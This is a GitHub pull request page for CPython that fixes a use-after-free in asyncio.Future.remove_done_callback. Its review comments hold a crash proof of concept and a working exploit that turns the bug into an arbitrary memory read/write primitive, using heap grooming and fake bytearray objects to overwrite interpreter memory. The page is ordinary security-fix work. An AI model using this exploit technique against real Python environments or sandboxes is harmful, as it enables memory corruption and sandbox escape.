-
-
Notifications
You must be signed in to change notification settings - Fork 32.2k
gh-125966: fix UAF on fut->fut_callback0
due to an evil callback's __eq__
#125967
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
016442c
ca7fe77
f9e21c3
181aadf
ef878cb
61de9b6
11870aa
d98f13c
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
Fix a use-after-free crash in :meth:`asyncio.Future.remove_done_callback`. | ||
Patch by Bénédikt Tran. |
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -1019,7 +1019,12 @@ _asyncio_Future_remove_done_callback_impl(FutureObj *self, PyTypeObject *cls, | |
ENSURE_FUTURE_ALIVE(state, self) | ||
|
||
if (self->fut_callback0 != NULL) { | ||
int cmp = PyObject_RichCompareBool(self->fut_callback0, fn, Py_EQ); | ||
// Beware: An evil PyObject_RichCompareBool could free fut_callback0 | ||
// before a recursive call is made with that same arg. For details, see | ||
// https://github.com/python/cpython/pull/125967#discussion_r1816593340. | ||
PyObject *fut_callback0 = Py_NewRef(self->fut_callback0); | ||
int cmp = PyObject_RichCompareBool(fut_callback0, fn, Py_EQ); | ||
Py_DECREF(fut_callback0); | ||
Comment on lines
+1025
to
+1027
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Hmm, could you explain the issue more to me? I don't see any need to explicitly hold a reference here, because we (should) implicitly hold one by holding a reference to There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If you run the PoC: import asyncio
fut = asyncio.Future()
class a:
def __eq__(self, other):
print("in a __eq__", self)
print("other is", other)
return True
def __del__(self):
print("deleting", self)
class b(a):
def __eq__(self, other):
print("in b __eq__")
fut.remove_done_callback(None)
print("None was removed")
return NotImplemented
fut.add_done_callback(a())
fut.remove_done_callback(b()) you would get:
If you don't hold a reference to if (cmp == 1) {
/* callback0 == fn */
Py_CLEAR(self->fut_callback0); // this clears
Py_CLEAR(self->fut_context0);
cleared_callback0 = 1;
} @Nico-Posada Please correct me if I'm wrong here! There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yeah that's main idea. After running There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. fwiw, here's a POC that shows how you can escalate this to malicious object creation (tested on v3.13.0 on ubuntu 24.04 x86_64) import asyncio
fut = asyncio.Future()
class a(bytes):
def __eq__(self, other):
print("in a __eq__", hex(id(self)), hex(id(other)))
return True
def __del__(self):
print("deleting", hex(id(self)))
class b(a):
def __eq__(self, other):
global pad
print("in b __eq__", hex(id(self)), hex(id(other)))
fut.remove_done_callback(None)
del pad, other
print("created ", hex(id(prealloc + fake_obj)))
return NotImplemented
class Catch:
__slots__ = ("mem",)
def __eq__(self, other):
global mem
mem = self.mem
return True
fake_ba = (
(0x123456).to_bytes(8, 'little') +
id(bytearray).to_bytes(8, 'little') +
(2**63 - 1).to_bytes(8, 'little') +
(0).to_bytes(24, 'little')
)
fake_obj = (
(0x123456).to_bytes(8, 'little') +
id(Catch).to_bytes(8, 'little') +
(id(fake_ba) + bytes.__basicsize__ - 1).to_bytes(8, 'little')
)
prealloc = a(0x8050)
pad = a(0x8000)
to_corrupt = a(0x8000)
print("pad:", hex(id(pad)), "to_corrupt:", hex(id(to_corrupt)))
print("diff:", hex(id(to_corrupt) - id(pad)))
mem = None
# transfer ownership to fut
fut.add_done_callback(to_corrupt)
del to_corrupt
fut.remove_done_callback(b())
if mem is None:
print("failed")
exit()
print(hex(len(mem))) # => 0x7fffffffffffffff
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100 |
||
if (cmp == -1) { | ||
return NULL; | ||
} | ||
|
Uh oh!
There was an error while loading. Please reload this page.